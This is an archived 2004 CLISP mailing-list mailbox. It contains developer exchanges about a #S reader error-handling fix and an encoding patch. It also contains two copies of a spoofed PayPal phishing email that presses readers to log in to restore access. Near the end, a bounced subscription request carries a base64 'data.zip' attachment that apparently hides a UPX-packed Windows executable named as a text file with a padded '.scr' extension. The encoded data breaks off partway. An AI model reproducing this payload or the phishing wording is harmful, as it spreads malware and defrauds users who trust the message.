([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AiHYE-0001Kq-Mn for clisp-list@lists.sourceforge.net; Sun, 18 Jan 2004 10:21:34 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AiHYE-0002Ds-5Y for clisp-list@lists.sourceforge.net; Sun, 18 Jan 2004 10:21:34 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id i0IILSZR017611; Sun, 18 Jan 2004 19:21:28 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i0IILRed005297; Sun, 18 Jan 2004 19:21:27 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id CFA021BABD; Sun, 18 Jan 2004 18:18:38 +0000 (UTC) From: Bruno Haible To: Kaz Kylheku User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net, Sam Steingold References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401181918.37857.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 18 10:22:01 2004 X-Original-Date: Sun, 18 Jan 2004 19:18:37 +0100 Kaz Kylheku wrote on 2004-01-08: > The real problem is that both MAKE-INIT-FORM tries to take the error > handling into its own hands, so to speak, rather than defer it to the > calling layers. MAKE-INIT-FORM has a brain-damaged HANDLER-CASE > which tries to guess which errors might be method problems. It's wrong > to catch errors at this level, because not only does it lead to the > looping behavior, but it makes it impossible for the highest level to > provide a specific, accurate diagnostic relevant to the real problem. You are entirely right. I've fixed this now in the CVS, by introducing a condition class which describes _exactly_, not just vaguely, the situation that MAKE-INIT-FORM wants to handle. > Ultimately, it would really be good to raise a specific error which tells > the programmer: ``You used #s() to specify a struct literal in > compiled code, but did not specialize a MAKE-LOAD-FORM method for that > struct type! See ANSI CL 3.2.4.4'' :) Thanks for the suggestion. I've added similar text to the error message. Bruno From -i@hubble.velcom.com Thu Jan 22 15:04:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AjnsN-0003G2-4R for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 15:04:39 -0800 Received: from [64.124.166.176] (helo=relay.hubble.velcom.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AjnsM-0004nC-MG for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 15:04:38 -0800 Message-ID: <20040122230302.84909.gw-mta0@relay.hubble.velcom.com> To: clisp-list@lists.sourceforge.net From: service@paypal.com Reply-To: service@paypal.com X-Mailer: PHP / 4.3.4 X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.5 HTML_40_50 BODY: Message is 40% to 50% HTML 0.1 HTML_FONTCOLOR_BLUE BODY: HTML font color is blue 0.0 HTML_MESSAGE BODY: HTML included in message 0.5 HTML_TITLE_EMPTY BODY: HTML title contains no text Subject: [clisp-list] Notification of PayPal Limited Account Access Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 22 15:05:03 2004 X-Original-Date: 22 Jan 2004 23:03:02 -0000
PayPal is committed to maintaining a safe environment for its community of
buyers and sellers. To protect the security of your account, we employ the
most advanced security systems in the world and regularly screen our system
for unusual activity.
 
Recently, our Account Review Team identified some unusual activity in your
account. Per PayPal's user agreement, we have limited access to your
account until this issue has been resolved. This is a fraud prevention
measure meant to ensure that your account is not compromised.
 
In order to secure your account and quickly restore full access, we require
some specific information from you. Please log in to your account for more
information:
 
We encourage you to remove the restriction on your account as soon as
possible. Maintaining a restricted account for an extended period of time
may result in additional limitations or eventual account closure.
 
Thank you for your prompt attention to this matter. Please understand that
this is a security measure meant to help protect you and your account. We
apologize for any inconvenience.
 
Sincerely,
The PayPal Team
 
------------------------------------------------------------------
Please do not reply to this e-mail. Mail sent to this address cannot be
answered. For assistance, please visit the link below. All of the
information necessary to restore your account access is available at:
------------------------------------------------------------------
 
PayPal Email ID PP190
PayPal Email ID PP316
From pascal@informatimago.com Thu Jan 22 18:48:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AjrMw-0002JQ-Cy for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 18:48:26 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AjrMv-0006ep-LV for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 18:48:26 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C92D8586E3; Fri, 23 Jan 2004 03:48:22 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 363003EF86; Fri, 23 Jan 2004 03:46:48 +0100 (CET) Message-ID: <16400.35608.66852.835748@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: new-clx builds bad encoding name In-Reply-To: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 22 18:50:16 2004 X-Original-Date: Fri, 23 Jan 2004 03:46:48 +0100 On Sunday, Jan 4, 2004, at 03:37 Europe/Madrid, Sam Steingold wrote: > > * Pascal J.Bourguignon [2003-12-14 18:47:59 +0100]: > > > > *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1" > > Indeeed, the exported symbol is ISO-8859-1. > > did you try the patch in > ? I've tried with 2.32, and it seems to work. (Of course, now garnet stumbles against other problems, but this step is overcome). Thanks, -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From -i@hubble.velcom.com Thu Jan 22 20:39:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ajt68-0007LO-5G for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 20:39:12 -0800 Received: from [64.124.166.176] (helo=relay.hubble.velcom.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1Ajt67-0007Lq-P0 for clisp-list@lists.sourceforge.net; Thu, 22 Jan 2004 20:39:11 -0800 Message-ID: <20040123043403.44167.gw-mta0@relay.hubble.velcom.com> To: clisp-list@lists.sourceforge.net From: service@paypal.com Reply-To: service@paypal.com X-Mailer: PHP / 4.3.4 X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.5 HTML_40_50 BODY: Message is 40% to 50% HTML 0.1 HTML_FONTCOLOR_BLUE BODY: HTML font color is blue 0.0 HTML_MESSAGE BODY: HTML included in message 0.5 HTML_TITLE_EMPTY BODY: HTML title contains no text Subject: [clisp-list] Notification of PayPal Limited Account Access Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 22 20:41:06 2004 X-Original-Date: 23 Jan 2004 04:34:03 -0000
PayPal is committed to maintaining a safe environment for its community of
buyers and sellers. To protect the security of your account, we employ the
most advanced security systems in the world and regularly screen our system
for unusual activity.
 
Recently, our Account Review Team identified some unusual activity in your
account. Per PayPal's user agreement, we have limited access to your
account until this issue has been resolved. This is a fraud prevention
measure meant to ensure that your account is not compromised.
 
In order to secure your account and quickly restore full access, we require
some specific information from you. Please log in to your account for more
information:
 
We encourage you to remove the restriction on your account as soon as
possible. Maintaining a restricted account for an extended period of time
may result in additional limitations or eventual account closure.
 
Thank you for your prompt attention to this matter. Please understand that
this is a security measure meant to help protect you and your account. We
apologize for any inconvenience.
 
Sincerely,
The PayPal Team
 
------------------------------------------------------------------
Please do not reply to this e-mail. Mail sent to this address cannot be
answered. For assistance, please visit the link below. All of the
information necessary to restore your account access is available at:
------------------------------------------------------------------
 
PayPal Email ID PP190
PayPal Email ID PP316
From sds@gnu.org Fri Jan 23 06:36:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ak2QY-0000Yb-Da for clisp-list@lists.sourceforge.net; Fri, 23 Jan 2004 06:36:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Ak2QX-0000NK-Tq for clisp-list@lists.sourceforge.net; Fri, 23 Jan 2004 06:36:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0NEajk29663; Fri, 23 Jan 2004 09:36:45 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16400.35608.66852.835748@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 23 Jan 2004 03:46:48 +0100") References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 23 06:37:02 2004 X-Original-Date: Fri, 23 Jan 2004 09:36:44 -0500 > * Pascal J.Bourguignon [2004-01-23 03:46:48 +0100]: > > (Of course, now garnet stumbles against other problems, but this step > is overcome). specifically? > There is no worse tyranny than to force a man to pay for what he doesn't > want merely because you think it would be good for him.--Robert Heinlein Heinlein lived in a greenhouse. killing him is a much worse tyranny. -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From zsh-workers-return-@sunsite.dk Mon Jan 26 16:18:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlGvx-0002ks-Ml for clisp-list@lists.sourceforge.net; Mon, 26 Jan 2004 16:18:25 -0800 Received: from sunsite.dk ([130.225.247.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AlGvw-00054Y-C3 for clisp-list@lists.sourceforge.net; Mon, 26 Jan 2004 16:18:24 -0800 Received: (qmail 15311 invoked by alias); 27 Jan 2004 00:18:21 -0000 Mailing-List: contact zsh-workers-help@sunsite.dk; run by ezmlm Message-ID: <1075162701.15310.ezmlm@sunsite.dk> From: zsh-workers-help@sunsite.dk To: clisp-list@lists.sourceforge.net Delivered-To: responder for zsh-workers@sunsite.dk Received: (qmail 15289 invoked from network); 27 Jan 2004 00:18:21 -0000 Received: from localhost (HELO sunsite.dk) (127.0.0.1) by localhost with SMTP; 27 Jan 2004 00:18:21 -0000 Received: from [216.181.42.97] by sunsite.dk (MessageWall 1.0.8) with SMTP; 27 Jan 2004 0:18:20 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: zsh-workers-sc.1075162701.ejjhngghnecbbjnopbnk-clisp-list=lists.sourceforge.net@sunsite.dk X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] confirm subscribe to zsh-workers@sunsite.dk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 26 16:25:48 2004 X-Original-Date: 27 Jan 2004 00:18:21 -0000 Hi! This is the ezmlm program. I'm managing the zsh-workers@sunsite.dk mailing list. I'm working for my owner, who can be reached at zsh-workers-owner@sunsite.dk. To confirm that you would like clisp-list@lists.sourceforge.net added to the zsh-workers mailing list, please send an empty reply to this address: zsh-workers-sc.1075162701.ejjhngghnecbbjnopbnk-clisp-list=lists.sourceforge.net@sunsite.dk Usually, this happens when you just hit the "reply" button. If this does not work, simply copy the address and paste it into the "To:" field of a new message. This confirmation serves two purposes. First, it verifies that I am able to get mail through to you. Second, it protects you in case someone forges a subscription request in your name. --- Administrative commands for the zsh-workers list --- I can handle administrative requests automatically. Please DO NOT SEND THEM TO THE LIST ADDRESS! If you do, I will not see them and other subscribers will be annoyed. Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at zsh-workers-owner@sunsite.dk. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 15289 invoked from network); 27 Jan 2004 00:18:21 -0000 Received: from localhost (HELO sunsite.dk) (127.0.0.1) by localhost with SMTP; 27 Jan 2004 00:18:21 -0000 X-MessageWall-Score: 0 (sunsite.dk) Received: from [216.181.42.97] by sunsite.dk (MessageWall 1.0.8) with SMTP; 27 Jan 2004 0:18:20 -0000 From: clisp-list@lists.sourceforge.net To: zsh-workers-subscribe@sunsite.dk Subject: hi Date: Mon, 26 Jan 2004 19:18:15 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_22D82E39.F32F284A" X-Priority: 3 X-MSMail-Priority: Normal ------=_NextPart_000_0005_22D82E39.F32F284A Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The message contains Unicode characters and has been sent as a binary attachment. ------=_NextPart_000_0005_22D82E39.F32F284A Content-Type: application/octet-stream; name="data.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="data.zip" UEsDBAoAAAAAAEcCOzDKJx+eAFgAAABYAABSAAAAZGF0YS50eHQgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNjck1a kAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABM AQMAAAAAAAAAAAAAAAAA4AAPAQsBBwAAUAAAABAAAABgAABgvgAAAHAAAADAAAAAAEoAABAAAAAC AAAEAAAAAAAAAAQAAAAAAAAAANAAAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAA AAAAAAAAAAAA6MEAADABAAAAwAAA6AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQ WDEAAAAAAFAAAABwAAAAUAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAwAAAAAQA AABUAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAADEuMjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXuhwKS AFAmSgBAA/2yaZosEAT0JegBAEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1gn2lI AEQHODA0TdN0AygkHBgQ0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgpb1ym 6ZrBB1RMA0Q4mqZpmiwkHBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmMgHhw KHto3mzTdQdcA1RMKP/7C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm2NTM yMCapmm6uCewrKigmGmapmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnObAPgm zwPo4Nhnm85tVDRDA0A0NNuK/////51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX//// //dawCmVBHbrY95c3WHocv+PIrhR7Ywu03sm1A058Kpn/////yfqsHlFFOa7k25MLRH44s+/sqih nZyeo6u2xNXpABo3/////1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/////4cKkBml paj+8sPSqPgSLEprj7bgDT1wpt8bWnzhJ1XJ/////xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0Alk/L agyxQ3qy/////3MXzohHBciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/////7PH3voVNVh+p8MC NHmh3Bpbj+Ywbc0gds8rivxRuSSS/////wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06Evfk4 /////3q/B1Kg8UVsllOzGnzlUcAypx+aGJkdpC67S950DalI/////+qPN+KQQfWsZiPjpmw1AdCi d08qCOnNtJ6Le25kXVlY/////1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9/////5p3 pwJw4VXMBsNDxlzVYWFkanN/jKC1zegGJ0tynMn5/////yxim1cWWH2wYCb+I3rUMZHkWsMvzhCF /XT2d/uADJkp/////7xS64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/////05COzc4OD1F UF5vg5q00fEUOmPPvvDlbLbkI1v3vGGo/////9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtvftbP 2W6V/9/+/ykDI+mUCb/m86VBEKZ8MmlrgCELLcdO0hCCbPn/////c6d33hSHBwf7UqoBYcAsm/cm lt2XnSJgD0aezf0sQH//////k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/////IOOt YNrRUhXOZl+3QcAU5GWTn3j+cg2852qVe3sTdnb/////fRwNLfL29LDx0ed5+t1MZaP/J2yM3Qvb jBupvXWHO0//////2xSCQhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3VNTs c5gBTQad8qKvwmLz5V433wVxUv////8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3HBv+F ///4HZAEq5YABgYQK++Z1E7/F3gLk8b4dSGMpP////9f/8xya+tv/qX97NBByXiR2cSsJsfo4Km3 Gl1v7CkQo/////+88+31b1EhNY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/////+goDLizkk6JC8w Co+uhOF1QKFimLL1MErg4/+RgcEnB/////93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeKSMK1 vP////+e+x9W5m6Q4DtHs6Aat9KqvMT3k0imAcAE/wYSi12p2P////+9lDH4H+haYz7f1grKQtUM XmBJcvX0rvRTF/wWFfKOmv////9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav/////m Chg/OpWfgYLjc6RHPQkC1i6IwqfVP4pc6p9WO189Sv/S///DeV9DCbjwq5rOHrKF2UvB1Dtez9/2 R/lK9//////Y+y20imdi/1itEYwi91vLWN+F/KzgZdrrl5TiYAjvP/////884+x/EI5gft1Nm+Sd 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 